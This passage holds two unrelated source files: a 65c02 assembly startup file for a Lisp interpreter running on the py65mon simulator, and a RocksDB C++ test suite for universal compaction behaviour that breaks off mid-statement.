; ----------------------------------------------------------------------------- ; Lisp for the 65c02. ; Used with the Ophis assembler and the py65mon simulator. ; Martin Heermance <mheermance@gmail.com> ; ----------------------------------------------------------------------------- ; establish module level scope to hide module locals. .scope ; ; Aliases ; .alias RamSize $7EFF ; default $8000 for 32 kb x 8 bit RAM .alias _py65_putc $f001 ; Definitions for the py65mon emulator .alias _py65_getc $f004 ; ; Data segments ; .require "../Common/data.asm" .data BSS .space heap_base $4000 ; It's size is 16 KB. .space heap_top $0000 .alias heap_size heap_top - heap_base .text ; ; Macros ; ; ; Functions ; .word $8000 .org $8000 .outfile "py65mon.rom" .advance $8000 main: ldx #SP0 ; Reset stack pointer `pushi _getch_impl ; Initialize the console vectors. `pushi _putch_impl jsr conioInit `pushi heap_size `pushi heap_base jsr gcInit jsr lispInit jsr repl brk ; conio functions unique to each platform. _getch_impl: .scope * lda _py65_getc beq - rts .scend _putch_impl: .scope sta _py65_putc rts .scend .require "../Common/array.asm" .require "../Common/conio.asm" .require "../Common/heap.asm" .require "../Common/math16.asm" .require "../Common/print.asm" .require "../Common/stack.asm" .require "../Common/string.asm" .require "cell.asm" .require "gc.asm" .require "lisp65.asm" .require "../Common/vectors.asm" .scend
// Copyright (c) 2011-present, Facebook, Inc. All rights reserved. // This source code is licensed under both the GPLv2 (found in the // COPYING file in the root directory) and Apache 2.0 License // (found in the LICENSE.Apache file in the root directory). // // Copyright (c) 2011 The LevelDB Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. See the AUTHORS file for names of contributors. #include "db/db_test_util.h" #include "port/stack_trace.h" #if !defined(ROCKSDB_LITE) #include "rocksdb/utilities/table_properties_collectors.h" #include "util/sync_point.h" namespace rocksdb { static std::string CompressibleString(Random* rnd, int len) { std::string r; test::CompressibleString(rnd, 0.8, len, &r); return r; } class DBTestUniversalCompactionBase : public DBTestBase, public ::testing::WithParamInterface<std::tuple<int, bool>> { public: explicit DBTestUniversalCompactionBase( const std::string& path) : DBTestBase(path) {} virtual void SetUp() override { num_levels_ = std::get<0>(GetParam()); exclusive_manual_compaction_ = std::get<1>(GetParam()); } int num_levels_; bool exclusive_manual_compaction_; }; class DBTestUniversalCompaction : public DBTestUniversalCompactionBase { public: DBTestUniversalCompaction() : DBTestUniversalCompactionBase("/db_universal_compaction_test") {} }; class DBTestUniversalDeleteTrigCompaction : public DBTestBase { public: DBTestUniversalDeleteTrigCompaction() : DBTestBase("/db_universal_compaction_test") {} }; namespace { void VerifyCompactionResult( const ColumnFamilyMetaData& cf_meta, const std::set<std::string>& overlapping_file_numbers) { #ifndef NDEBUG for (auto& level : cf_meta.levels) { for (auto& file : level.files) { assert(overlapping_file_numbers.find(file.name) == overlapping_file_numbers.end()); } } #endif } class KeepFilter : public CompactionFilter { public: virtual bool Filter(int /*level*/, const Slice& /*key*/, const Slice& /*value*/, std::string* /*new_value*/, bool* /*value_changed*/) const override { return false; } virtual const char* Name() const override { return "KeepFilter"; } }; class KeepFilterFactory : public CompactionFilterFactory { public: explicit KeepFilterFactory(bool check_context = false) : check_context_(check_context) {} virtual std::unique_ptr<CompactionFilter> CreateCompactionFilter( const CompactionFilter::Context& context) override { if (check_context_) { EXPECT_EQ(expect_full_compaction_.load(), context.is_full_compaction); EXPECT_EQ(expect_manual_compaction_.load(), context.is_manual_compaction); } return std::unique_ptr<CompactionFilter>(new KeepFilter()); } virtual const char* Name() const override { return "KeepFilterFactory"; } bool check_context_; std::atomic_bool expect_full_compaction_; std::atomic_bool expect_manual_compaction_; }; class DelayFilter : public CompactionFilter { public: explicit DelayFilter(DBTestBase* d) : db_test(d) {} virtual bool Filter(int /*level*/, const Slice& /*key*/, const Slice& /*value*/, std::string* /*new_value*/, bool* /*value_changed*/) const override { db_test->env_->addon_time_.fetch_add(1000); return true; } virtual const char* Name() const override { return "DelayFilter"; } private: DBTestBase* db_test; }; class DelayFilterFactory : public CompactionFilterFactory { public: explicit DelayFilterFactory(DBTestBase* d) : db_test(d) {} virtual std::unique_ptr<CompactionFilter> CreateCompactionFilter( const CompactionFilter::Context& /*context*/) override { return std::unique_ptr<CompactionFilter>(new DelayFilter(db_test)); } virtual const char* Name() const override { return "DelayFilterFactory"; } private: DBTestBase* db_test; }; } // namespace // Make sure we don't trigger a problem if the trigger condtion is given // to be 0, which is invalid. TEST_P(DBTestUniversalCompaction, UniversalCompactionSingleSortedRun) { Options options = CurrentOptions(); options.compaction_style = kCompactionStyleUniversal; options.num_levels = num_levels_; // Config universal compaction to always compact to one single sorted run. options.level0_file_num_compaction_trigger = 0; options.compaction_options_universal.size_ratio = 10; options.compaction_options_universal.min_merge_width = 2; options.compaction_options_universal.max_size_amplification_percent = 0; options.write_buffer_size = 105 << 10; // 105KB options.arena_block_size = 4 << 10; options.target_file_size_base = 32 << 10; // 32KB // trigger compaction if there are >= 4 files KeepFilterFactory* filter = new KeepFilterFactory(true); filter->expect_manual_compaction_.store(false); options.compaction_filter_factory.reset(filter); DestroyAndReopen(options); ASSERT_EQ(1, db_->GetOptions().level0_file_num_compaction_trigger); Random rnd(301); int key_idx = 0; filter->expect_full_compaction_.store(true); for (int num = 0; num < 16; num++) { // Write 100KB file. And immediately it should be compacted to one file. GenerateNewFile(&rnd, &key_idx); dbfull()->TEST_WaitForCompact(); ASSERT_EQ(NumSortedRuns(0), 1); } ASSERT_OK(Put(Key(key_idx), "")); dbfull()->TEST_WaitForCompact(); ASSERT_EQ(NumSortedRuns(0), 1); } TEST_P(DBTestUniversalCompaction, OptimizeFiltersForHits) { Options options = CurrentOptions(); options.compaction_style = kCompactionStyleUniversal; options.compaction_options_universal.size_ratio = 5; options.num_levels = num_levels_; options.write_buffer_size = 105 << 10; // 105KB options.arena_block_size = 4 << 10; options.target_file_size_base = 32 << 10; // 32KB // trigger compaction if there are >= 4 files options.level0_file_num_compaction_trigger = 4; BlockBasedTableOptions bbto; bbto.cache_index_and_filter_blocks = true; bbto.filter_policy.reset(NewBloomFilterPolicy(10, false)); bbto.whole_key_filtering = true; options.table_factory.reset(NewBlockBasedTableFactory(bbto)); options.optimize_filters_for_hits = true; options.statistics = rocksdb::CreateDBStatistics(); options.memtable_factory.reset(new SpecialSkipListFactory(3)); DestroyAndReopen(options); // block compaction from happening env_->SetBackgroundThreads(1, Env::LOW); test::SleepingBackgroundTask sleeping_task_low; env_->Schedule(&test::SleepingBackgroundTask::DoSleepTask, &sleeping_task_low, Env::Priority::LOW); for (int num = 0; num < options.level0_file_num_compaction_trigger; num++) { Put(Key(num * 10), "val"); if (num) { dbfull()->TEST_WaitForFlushMemTable(); } Put(Key(30 + num * 10), "val"); Put(Key(60 + num * 10), "val"); } Put("", ""); dbfull()->TEST_WaitForFlushMemTable(); // Query set of non existing keys for (int i = 5; i < 90; i += 10) { ASSERT_EQ(Get(Key(i)), "NOT_FOUND"); } // Make sure bloom filter is used at least once. ASSERT_GT(TestGetTickerCount(options, BLOOM_FILTER_USEFUL), 0); auto prev_counter = TestGetTickerCount(options, BLOOM_FILTER_USEFUL); // Make sure bloom filter is used for all but the last L0 file when looking // up a non-existent key that's in the range of all L0 files. ASSERT_EQ(Get(Key(35)), "NOT_FOUND"); ASSERT_EQ(prev_counter + NumTableFilesAtLevel(0) - 1, TestGetTickerCount(options, BLOOM_FILTER_USEFUL)); prev_counter = TestGetTickerCount(options, BLOOM_FILTER_USEFUL); // Unblock compaction and wait it for happening. sleeping_task_low.WakeUp(); dbfull()->TEST_WaitForCompact(); // The same queries will not trigger bloom filter for (int i = 5; i < 90; i += 10) { ASSERT_EQ(Get(Key(i)), "NOT_FOUND"); } ASSERT_EQ(prev_counter, TestGetTickerCount(options, BLOOM_FILTER_USEFUL)); } // TODO(kailiu) The tests on UniversalCompaction has some issues: // 1. A lot of magic numbers ("11" or "12"). // 2. Made assumption on the memtable flush conditions, which may change from // time to time. TEST_P(DBTestUniversalCompaction, UniversalCompactionTrigger) { Options options; options.compaction_style = kCompactionStyleUniversal; options.compaction_options_universal.size_ratio = 5; options.num_levels = num_levels_; options.write_buffer_size = 105 << 10; // 105KB options.arena_block_size = 4 << 10; options.target_file_size_base = 32 << 10; // 32KB // trigger compaction if there are >= 4 files options.level0_file_num_compaction_trigger = 4; KeepFilterFactory* filter = new KeepFilterFactory(true); filter->expect_manual_compaction_.store(false); options.compaction_filter_factory.reset(filter); options = CurrentOptions(options); DestroyAndReopen(options); CreateAndReopenWithCF({"pikachu"}, options); rocksdb::SyncPoint::GetInstance()->SetCallBack( "DBTestWritableFile.GetPreallocationStatus", [&](void* arg) { ASSERT_TRUE(arg != nullptr); size_t preallocation_size = *(static_cast<size_t*>(arg)); if (num_levels_ > 3) { ASSERT_LE(preallocation_size, options.target_file_size_base * 1.1); } }); rocksdb::SyncPoint::GetInstance()->EnableProcessing(); Random rnd(301); int key_idx = 0; filter->expect_full_compaction_.store(true); // Stage 1: // Generate a set of files at level 0, but don't trigger level-0 // compaction. for (int num = 0; num < options.level0_file_num_compaction_trigger - 1; num++) { // Write 100KB GenerateNewFile(1, &rnd, &key_idx); } // Generate one more file at level-0, which should trigger level-0 // compaction. GenerateNewFile(1, &rnd, &key_idx); // Suppose each file flushed from mem table has size 1. Now we compact // (level0_file_num_compaction_trigger+1)=4 files and should have a big // file of size 4. ASSERT_EQ(NumSortedRuns(1), 1); // Stage 2: // Now we have one file at level 0, with size 4. We also have some data in // mem table. Let's continue generating new files at level 0, but don't // trigger level-0 compaction. // First, clean up memtable before inserting new data. This will generate // a level-0 file, with size around 0.4 (according to previously written // data amount). filter->expect_full_compaction_.store(false); ASSERT_OK(Flush(1)); for (int num = 0; num < options.level0_file_num_compaction_trigger - 3; num++) { GenerateNewFile(1, &rnd, &key_idx); ASSERT_EQ(NumSortedRuns(1), num + 3); } // Generate one more file at level-0, which should trigger level-0 // compaction. GenerateNewFile(1, &rnd, &key_idx); // Before compaction, we have 4 files at level 0, with size 4, 0.4, 1, 1. // After compaction, we should have 2 files, with size 4, 2.4. ASSERT_EQ(NumSortedRuns(1), 2); // Stage 3: // Now we have 2 files at level 0, with size 4 and 2.4. Continue // generating new files at level 0. for (int num = 0; num < options.level0_file_num_compaction_trigger - 3; num++) { GenerateNewFile(1, &rnd, &key_idx); ASSERT_EQ(NumSortedRuns(1), num + 3); } // Generate one more file at level-0, which should trigger level-0 // compaction. GenerateNewFile(1, &rnd, &key_idx); // Before compaction, we have 4 files at level 0, with size 4, 2.4, 1, 1. // After compaction, we should have 3 files, with size 4, 2.4, 2. ASSERT_EQ(NumSortedRuns(1), 3); // Stage 4: // Now we have 3 files at level 0, with size 4, 2.4, 2. Let's generate a // new file of size 1. GenerateNewFile(1, &rnd, &key_idx); dbfull()->TEST_WaitForCompact(); // Level-0 compaction is triggered, but no file will be picked up. ASSERT_EQ(NumSortedRuns(1), 4); // Stage 5: // Now we have 4 files at level 0, with size 4, 2.4, 2, 1. Let's generate // a new file of size 1. filter->expect_full_compaction_.store(true); GenerateNewFile(1, &rnd, &key_idx); dbfull()->TEST_WaitForCompact(); // All files at level 0 will be compacted into a single one. ASSERT_EQ(NumSortedRuns(1), 1); rocksdb::SyncPoint::GetInstance()->DisableProcessing(); } TEST_P(DBTestUniversalCompaction, UniversalCompactionSizeAmplification) { Options options = CurrentOptions(); options.compaction_style = kCompactionStyleUniversal; options.num_levels = num_levels_; options.write_buffer_size = 100 << 10; // 100KB options.target_file_size_base = 32 << 10; // 32KB options.level0_file_num_compaction_trigger = 3; DestroyAndReopen(options); CreateAndReopenWithCF({"pikachu"}, options); // Trigger compaction if size amplification exceeds 110% options.compaction_options_universal.max_size_amplification_percent = 110; options = CurrentOptions(options); ReopenWithColumnFamilies({"default", "pikachu"}, options); Random rnd(301); int key_idx = 0; // Generate two files in Level 0. Both files are approx the same size. for (int num = 0; num < options.level0_file_num_compaction_trigger - 1; num++) { // Write 110KB (11 values, each 10K) for (int i = 0; i < 11; i++) { ASSERT_OK(Put(1, Key(key_idx), RandomString(&rnd, 10000))); key_idx++; } dbfull()->TEST_WaitForFlushMemTable(handles_[1]); ASSERT_EQ(NumSortedRuns(1), num + 1); } ASSERT_EQ(NumSortedRuns(1), 2); // Flush whatever is remaining in memtable. This is typically // small, which should not trigger size ratio based compaction // but will instead trigger size amplification. ASSERT_OK(Flush(1)); dbfull()->TEST_WaitForCompact(); // Verify that size amplification did occur ASSERT_EQ(NumSortedRuns(1), 1); } TEST_P(DBTestUniversalCompaction, DynamicUniversalCompactionSizeAmplification) { Options options = CurrentOptions(); options.compaction_style = kCompactionStyleUniversal; options.num_levels = 1; options.write_buffer_size = 100 << 10; // 100KB options.target_file_size_base = 32 << 10; // 32KB options.level0_file_num_compaction_trigger = 3; // Initial setup of compaction_options_universal will prevent universal // compaction from happening options.compaction_options_universal.size_ratio = 100; options.compaction_options_universal.min_merge_width = 100; DestroyAndReopen(options); int total_picked_compactions = 0; int total_size_amp_compactions = 0; rocksdb::SyncPoint::GetInstance()->SetCallBack( "UniversalCompactionPicker::PickCompaction:Return", [&](void* arg) { if (arg) { total_picked_compactions++; Compaction* c = static_cast<Compaction*>(arg); if (c->compaction_reason() == CompactionReason::kUniversalSizeAmplification) { total_size_amp_compactions++; } } }); rocksdb::SyncPoint::GetInstance()->EnableProcessing(); MutableCFOptions mutable_cf_options; CreateAndReopenWithCF({"pikachu"}, options); Random rnd(301); int key_idx = 0; // Generate two files in Level 0. Both files are approx the same size. for (int num = 0; num < options.level0_file_num_compaction_trigger - 1; num++) { // Write 110KB (11 values, each 10K) for (int i = 0; i < 11; i++) { ASSERT_OK(Put(1, Key(key_idx), RandomString(&rnd, 10000))); key_idx++; } dbfull()->TEST_WaitForFlushMemTable(handles_[1]); ASSERT_EQ(NumSortedRuns(1), num + 1); } ASSERT_EQ(NumSortedRuns(1), 2); // Flush whatever is remaining in memtable. This is typically // small, which should not trigger size ratio based compaction // but could instead trigger size amplification if it's set // to 110. ASSERT_OK(Flush(1)); dbfull()->TEST_WaitForCompact(); // Verify compaction did not happen ASSERT_EQ(NumSortedRuns(1), 3); // Trigger compaction if size amplification exceeds 110% without reopening DB ASSERT_EQ(dbfull() ->GetOptions(handles_[1]) .compaction_options_universal.max_size_amplification_percent, 200); ASSERT_OK(dbfull()->SetOptions(handles_[1], {{"compaction_options_universal", "{max_size_amplification_percent=110;}"}})); ASSERT_EQ(dbfull() ->GetOptions(handles_[1]) .compaction_options_universal.max_size_amplification_percent, 110); ASSERT_OK(dbfull()->TEST_GetLatestMutableCFOptions(handles_[1], &mutable_cf_options)); ASSERT_EQ(110, mutable_cf_options.compaction_options_universal .max_size_amplification_percent); dbfull()->TEST_WaitForCompact(); // Verify that size amplification did happen ASSERT_EQ(NumSortedRuns(1), 1); ASSERT_EQ(total_picked_compactions, 1); ASSERT_EQ(total_size_amp_compactions, 1); } TEST_P(DBTestUniversalCompaction, DynamicUniversalCompactionReadAmplification) { Options options = CurrentOptions(); options.compaction_style = kCompactionStyleUniversal; options.num_levels = 1; options.write_buffer_size = 100 << 10; // 100KB options.target_file_size_base = 32 << 10; // 32KB options.level0_file_num_compaction_trigger = 3; // Initial setup of compaction_options_universal will prevent universal // compaction from happening options.compaction_options_universal.max_size_amplification_percent = 2000; options.compaction_options_universal.size_ratio = 0; options.compaction_options_universal.min_merge_width = 100; DestroyAndReopen(options); int total_picked_compactions = 0; int total_size_ratio_compactions = 0; rocksdb::SyncPoint::GetInstance()->SetCallBack( "UniversalCompactionPicker::PickCompaction:Return", [&](void* arg) { if (arg) { total_picked_compactions++; Compaction* c = static_cast<Compaction*>(arg); if (c->compaction_reason() == CompactionReason::kUniversalSizeRatio) { total_size_ratio_compactions++; } } }); rocksdb::SyncPoint::GetInstance()->EnableProcessing(); MutableCFOptions mutable_cf_options; CreateAndReopenWithCF({"pikachu"}, options); Random rnd(301); int key_idx = 0; // Generate three files in Level 0. All files are approx the same size. for (int num = 0; num < options.level0_file_num_compaction_trigger; num++) { // Write 110KB (11 values, each 10K) for (int i = 0; i < 11; i++) { ASSERT_OK(Put(1, Key(key_idx), RandomString(&rnd, 10000))); key_idx++; } dbfull()->TEST_WaitForFlushMemTable(handles_[1]); ASSERT_EQ(NumSortedRuns(1), num + 1); } ASSERT_EQ(NumSortedRuns(1), options.level0_file_num_compaction_trigger); // Flush whatever is remaining in memtable. This is typically small, about // 30KB. ASSERT_OK(Flush(1)); dbfull()->TEST_WaitForCompact(); // Verify compaction did not happen ASSERT_EQ(NumSortedRuns(1), options.level0_file_num_compaction_trigger + 1); ASSERT_EQ(total_picked_compactions, 0); ASSERT_OK(dbfull()->SetOptions( handles_[1], {{"compaction_options_universal", "{min_merge_width=2;max_merge_width=2;size_ratio=100;}"}})); ASSERT_EQ(dbfull() ->GetOptions(handles_[1]) .compaction_options_universal.min_merge_width, 2); ASSERT_EQ(dbfull() ->GetOptions(handles_[1]) .compaction_options_universal.max_merge_width, 2); ASSERT_EQ( dbfull()->GetOptions(handles_[1]).compaction_options_universal.size_ratio, 100); ASSERT_OK(dbfull()->TEST_GetLatestMutableCFOptions(handles_[1], &mutable_cf_options)); ASSERT_EQ(mutable_cf_options.compaction_options_universal.size_ratio, 100); ASSERT_EQ(mutable_cf_options.compaction_options_universal.min_merge_width, 2); ASSERT_EQ(mutable_cf_options.compaction_options_universal.max_merge_width, 2); dbfull()->TEST_WaitForCompact(); // Files in L0 are approx: 0.3 (30KB), 1, 1, 1. // On compaction: the files are below the size amp threshold, so we // fallthrough to checking read amp conditions. The configured size ratio is // not big enough to take 0.3 into consideration. So the next files 1 and 1 // are compacted together first as they satisfy size ratio condition and // (min_merge_width, max_merge_width) condition, to give out a file size of 2. // Next, the newly generated 2 and the last file 1 are compacted together. So // at the end: #sortedRuns = 2, #picked_compactions = 2, and all the picked // ones are size ratio based compactions. ASSERT_EQ(NumSortedRuns(1), 2); // If max_merge_width had not been changed dynamically above, and if it // continued to be the default value of UINIT_MAX, total_picked_compactions // would have been 1. ASSERT_EQ(total_picked_compactions, 2); ASSERT_EQ(total_size_ratio_compactions, 2); } TEST_P(DBTestUniversalCompaction, CompactFilesOnUniversalCompaction) { const int kTestKeySize = 16; const int kTestValueSize = 984; const int kEntrySize = kTestKeySize + kTestValueSize; const int kEntriesPerBuffer = 10; ChangeCompactOptions(); Options options; options.create_if_missing = true; options.compaction_style = kCompactionStyleLevel; options.num_levels = 1; options.target_file_size_base = options.write_buffer_size; options.compression = kNoCompression; options = CurrentOptions(options); options.write_buffer_size = kEntrySize * kEntriesPerBuffer; CreateAndReopenWithCF({"pikachu"}, options); ASSERT_EQ(options.compaction_style, kCompactionStyleUniversal); Random rnd(301); for (int key = 1024 * kEntriesPerBuffer; key >= 0; --key) { ASSERT_OK(Put(1, ToString(key), RandomString(&rnd, kTestValueSize))); } dbfull()->TEST_WaitForFlushMemTable(handles_[1]); dbfull()->TEST_WaitForCompact(); ColumnFamilyMetaData cf_meta; dbfull()->GetColumnFamilyMetaData(handles_[1], &cf_meta); std::vector<std::string> compaction_input_file_names; for (auto file : cf_meta.levels[0].files) { if (rnd.OneIn(2)) { compaction_input_file_names.push_back(file.name); } } if (compaction_input_file_names.size() == 0) { compaction_input_file_names.push_back( cf_meta.levels[0].files[0].name); } // expect fail since universal compaction only allow L0 output ASSERT_FALSE(dbfull() ->CompactFiles(CompactionOptions(), handles_[1], compaction_input_file_names, 1) .ok()); // expect ok and verify the compacted files no longer exist. ASSERT_OK(dbfull()->CompactFiles( CompactionOptions(), handles_[1], compaction_input_file_names, 0)); dbfull()->GetColumnFamilyMetaData(handles_[1], &cf_meta); VerifyCompactionResult( cf_meta, std::set<std::string>(compaction_input_file_names.begin(), compaction_input_file_names.end())); compaction_input_file_names.clear(); // Pick the first and the last file, expect everything is // compacted into one single file. compaction_input_file_names.push_back( cf_meta.levels[0].files[0].name); compaction_input_file_names.push_back( cf_meta.levels[0].files[ cf_meta.levels[0].files.size() - 1].name); ASSERT_OK(dbfull()->CompactFiles( CompactionOptions(), handles_[1], compaction_input_file_names, 0)); dbfull()->GetColumnFamilyMetaData(handles_[1], &cf_meta); ASSERT_EQ(cf_meta.levels[0].files.size(), 1U); } TEST_P(DBTestUniversalCompaction, UniversalCompactionTargetLevel) { Options options = CurrentOptions(); options.compaction_style = kCompactionStyleUniversal; options.write_buffer_size = 100 << 10; // 100KB options.num_levels = 7; options.disable_auto_compactions = true; DestroyAndReopen(options); // Generate 3 overlapping files Random rnd(301); for (int i = 0; i < 210; i++) { ASSERT_OK(Put(Key(i), RandomString(&rnd, 100))); } ASSERT_OK(Flush()); for (int i = 200; i < 300; i++) { ASSERT_OK(Put(Key(i), RandomString(&rnd, 100))); } ASSERT_OK(Flush()); for (int i = 250; i < 260; i++) { ASSERT_OK(Put(Key(i), RandomString(&rnd, 100))); } ASSERT_OK(Flush()); ASSERT_EQ("3", FilesPerLevel(0)); // Compact all files into 1 file and put it in L4 CompactRangeOptions compact_options; compact_options.change_level = true; compact_options.target_level = 4; compact_options.exclusive_manual_compaction = exclusive_manual_compaction_; db_->CompactRange(compact_options, nullptr, nullptr); ASSERT_EQ("0,0,0,0,1", FilesPerLevel(0)); } #ifndef ROCKSDB_VALGRIND_RUN class DBTestUniversalCompactionMultiLevels : public DBTestUniversalCompactionBase { public: DBTestUniversalCompactionMultiLevels() : DBTestUniversalCompactionBase( "/db_universal_compaction_multi_levels_test") {} }; TEST_P(DBTestUniversalCompactionMultiLevels, UniversalCompactionMultiLevels) { Options options = CurrentOptions(); options.compaction_style = kCompactionStyleUniversal; options.num_levels = num_levels_; options.write_buffer_size = 100 << 10; // 100KB options.level0_file_num_compaction_trigger = 8; options.max_background_compactions = 3; options.target_file_size_base = 32 * 1024; CreateAndReopenWithCF({"pikachu"}, options); // Trigger compaction if size amplification exceeds 110% options.compaction_options_universal.max_size_amplification_percent = 110; options = CurrentOptions(options); ReopenWithColumnFamilies({"default", "pikachu"}, options); Random rnd(301); int num_keys = 100000; for (int i = 0; i < num_keys * 2; i++) { ASSERT_OK(Put(1, Key(i % num_keys), Key(i))); } dbfull()->TEST_WaitForCompact(); for (int i = num_keys; i < num_keys * 2; i++) { ASSERT_EQ(Get(1, Key(i % num_keys)), Key(i)); } } // Tests universal compaction with trivial move enabled TEST_P(DBTestUniversalCompactionMultiLevels, UniversalCompactionTrivialMove) { int32_t trivial_move = 0; int32_t non_trivial_move = 0; rocksdb::SyncPoint::GetInstance()->SetCallBack( "DBImpl::BackgroundCompaction:TrivialMove", [&](void* /*arg*/) { trivial_move++; }); rocksdb::SyncPoint::GetInstance()->SetCallBack( "DBImpl::BackgroundCompaction:NonTrivial", [&](void* arg) { non_trivial_move++; ASSERT_TRUE(arg != nullptr); int output_level = *(static_cast<int*>(arg)); ASSERT_EQ(output_level, 0); }); rocksdb::SyncPoint::GetInstance()->EnableProcessing(); Options options = CurrentOptions(); options.compaction_style = kCompactionStyleUniversal; options.compaction_options_universal.allow_trivial_move = true; options.num_levels = 3; options.write_buffer_size = 100 << 10; // 100KB options.level0_file_num_compaction_trigger = 3; options.max_background_compactions = 2; options.target_file_size_base = 32 * 1024; DestroyAndReopen(options); CreateAndReopenWithCF({"pikachu"}, options); // Trigger compaction if size amplification exceeds 110% options.compaction_options_universal.max_size_amplification_percent = 110; options = CurrentOptions(options); ReopenWithColumnFamilies({"default", "pikachu"}, options); Random rnd(301); int num_keys = 150000; for (int i = 0; i < num_keys; i++) { ASSERT_OK(Put(1, Key(i), Key(i))); } std::vector<std::string> values; ASSERT_OK(Flush(1)); dbfull()->TEST_WaitForCompact(); ASSERT_GT(trivial_move, 0); ASSERT_GT(non_trivial_move, 0); rocksdb::SyncPoint::GetInstance()->DisableProcessing(); } INSTANTIATE_TEST_CASE_P(DBTestUniversalCompactionMultiLevels, DBTestUniversalCompactionMultiLevels, ::testing::Combine(::testing::Values(3, 20), ::testing::Bool())); class DBTestUniversalCompactionParallel : public DBTestUniversalCompactionBase { public: DBTestUniversalCompactionParallel() : DBTestUniversalCompactionBase( "/db_universal_compaction_prallel_test") {} }; TEST_P(DBTestUniversalCompactionParallel, UniversalCompactionParallel) { Options options = CurrentOptions(); options.compaction_style = kCompactionStyleUniversal; options.num_levels = num_levels_; options.write_buffer_size = 1 << 10; // 1KB options.level0_file_num_compaction_trigger = 3; options.max_background_compactions = 3; options.max_background_flushes = 3; options.target_file_size_base = 1 * 1024; options.compaction_options_universal.max_size_amplification_percent = 110; DestroyAndReopen(options); CreateAndReopenWithCF({"pikachu"}, options); // Delay every compaction so multiple compactions will happen. std::atomic<int> num_compactions_running(0); std::atomic<bool> has_parallel(false); rocksdb::SyncPoint::GetInstance()->SetCallBack("CompactionJob::Run():Start", [&](void* /*arg*/) { if (num_compactions_running.fetch_add(1) > 0) { has_parallel.store(true); return; } for (int nwait = 0; nwait < 20000; nwait++) { if (has_parallel.load() || num_compactions_running.load() > 1) { has_parallel.store(true); break; } env_->SleepForMicroseconds(1000); } }); rocksdb::SyncPoint::GetInstance()->SetCallBack( "CompactionJob::Run():End", [&](void* /*arg*/) { num_compactions_running.fetch_add(-1); }); rocksdb::SyncPoint::GetInstance()->EnableProcessing(); options = CurrentOptions(options); ReopenWithColumnFamilies({"default", "pikachu"}, options); Random rnd(301); int num_keys = 30000; for (int i = 0; i < num_keys * 2; i++) { ASSERT_OK(Put(1, Key(i % num_keys), Key(i))); } dbfull()->TEST_WaitForCompact(); rocksdb::SyncPoint::GetInstance()->DisableProcessing(); ASSERT_EQ(num_compactions_running.load(), 0); ASSERT_TRUE(has_parallel.load()); for (int i = num_keys; i < num_keys * 2; i++) { ASSERT_EQ(Get(1, Key(i % num_keys)), Key(i)); } // Reopen and check. ReopenWithColumnFamilies({"default", "pikachu"}, options); for (int i = num_keys; i < num_keys * 2; i++) { ASSERT_EQ(Get(1, Key(i % num_keys)), Key(i)); } } TEST_P(DBTestUniversalCompactionParallel, PickByFileNumberBug) { Options options = CurrentOptions(); options.compaction_style = kCompactionStyleUniversal; options.num_levels = num_levels_; options.write_buffer_size = 1 * 1024; // 1KB options.level0_file_num_compaction_trigger = 7; options.max_background_compactions = 2; options.target_file_size_base = 1024 * 1024; // 1MB // Disable size amplifiction compaction options.compaction_options_universal.max_size_amplification_percent = UINT_MAX; DestroyAndReopen(options); rocksdb::SyncPoint::GetInstance()->LoadDependency( {{"DBTestUniversalCompactionParallel::PickByFileNumberBug:0", "BackgroundCallCompaction:0"}, {"UniversalCompactionPicker::PickCompaction:Return", "DBTestUniversalCompactionParallel::PickByFileNumberBug:1"}, {"DBTestUniversalCompactionParallel::PickByFileNumberBug:2", "CompactionJob::Run():Start"}}); int total_picked_compactions = 0; rocksdb::SyncPoint::GetInstance()->SetCallBack( "UniversalCompactionPicker::PickCompaction:Return", [&](void* arg) { if (arg) { total_picked_compactions++; } }); rocksdb::SyncPoint::GetInstance()->EnableProcessing(); // Write 7 files to trigger compaction int key_idx = 1; for (int i = 1; i <= 70; i++) { std::string k = Key(key_idx++); ASSERT_OK(Put(k, k)); if (i % 10 == 0) { ASSERT_OK(Flush()); } } // Wait for the 1st background compaction process to start TEST_SYNC_POINT("DBTestUniversalCompactionParallel::PickByFileNumberBug:0"); TEST_SYNC_POINT("DBTestUniversalCompactionParallel::PickByFileNumberBug:1"); rocksdb::SyncPoint::GetInstance()->ClearTrace(); // Write 3 files while 1st compaction is held // These 3 files have different sizes to avoid compacting based on size_ratio int num_keys = 1000; for (int i = 0; i < 3; i++) { for (int j = 1; j <= num_keys; j++) { std::string k = Key(key_idx++); ASSERT_OK(Put(k, k)); } ASSERT_OK(Flush()); num_keys -= 100; } // Hold the 1st compaction from finishing TEST_SYNC_POINT("DBTestUniversalCompactionParallel::PickByFileNumberBug:2"); dbfull()->TEST_WaitForCompact(); // There should only be one picked compaction as the score drops below one // after the first one is picked. EXPECT_EQ(total_picked_compactions, 1); EXPECT_EQ(TotalTableFiles(), 4); // Stop SyncPoint and destroy the DB and reopen it again rocksdb::SyncPoint::GetInstance()->ClearTrace(); rocksdb::SyncPoint::GetInstance()->DisableProcessing(); key_idx = 1; total_picked_compactions = 0; DestroyAndReopen(options); rocksdb::SyncPoint::GetInstance()->EnableProcessing(); // Write 7 files to trigger compaction for (int i = 1; i <= 70; i++) { std::string k = Key(key_idx++); ASSERT_OK(Put(k, k)); if (i % 10 == 0) { ASSERT_OK(Flush()); } } // Wait for the 1st background compaction process to start TEST_SYNC_POINT("DBTestUniversalCompactionParallel::PickByFileNumberBug:0"); TEST_SYNC_POINT("DBTestUniversalCompactionParallel::PickByFileNumberBug:1"); rocksdb::SyncPoint::GetInstance()->ClearTrace(); // Write 8 files while 1st compaction is held // These 8 files have different sizes to avoid compacting based on size_ratio num_keys = 1000; for (int i = 0; i < 8; i++) { for (int j = 1; j <= num_keys; j++) { std::string k = Key(key_idx++); ASSERT_OK(Put(k, k)); } ASSERT_OK(Flush()); num_keys -= 100; } // Wait for the 2nd background compaction process to start TEST_SYNC_POINT("DBTestUniversalCompactionParallel::PickByFileNumberBug:0"); TEST_SYNC_POINT("DBTestUniversalCompactionParallel::PickByFileNumberBug:1"); // Hold the 1st and 2nd compaction from finishing TEST_SYNC_POINT("DBTestUniversalCompactionParallel::PickByFileNumberBug:2"); dbfull()->TEST_WaitForCompact(); // This time we will trigger a compaction because of size ratio and // another compaction because of number of files that are not compacted // greater than 7 EXPECT_GE(total_picked_compactions, 2); } INSTANTIATE_TEST_CASE_P(DBTestUniversalCompactionParallel, DBTestUniversalCompactionParallel, ::testing::Combine(::testing::Values(1, 10), ::testing::Values(false))); #endif // ROCKSDB_VALGRIND_RUN TEST_P(DBTestUniversalCompaction, UniversalCompactionOptions) { Options options = CurrentOptions(); options.compaction_style = 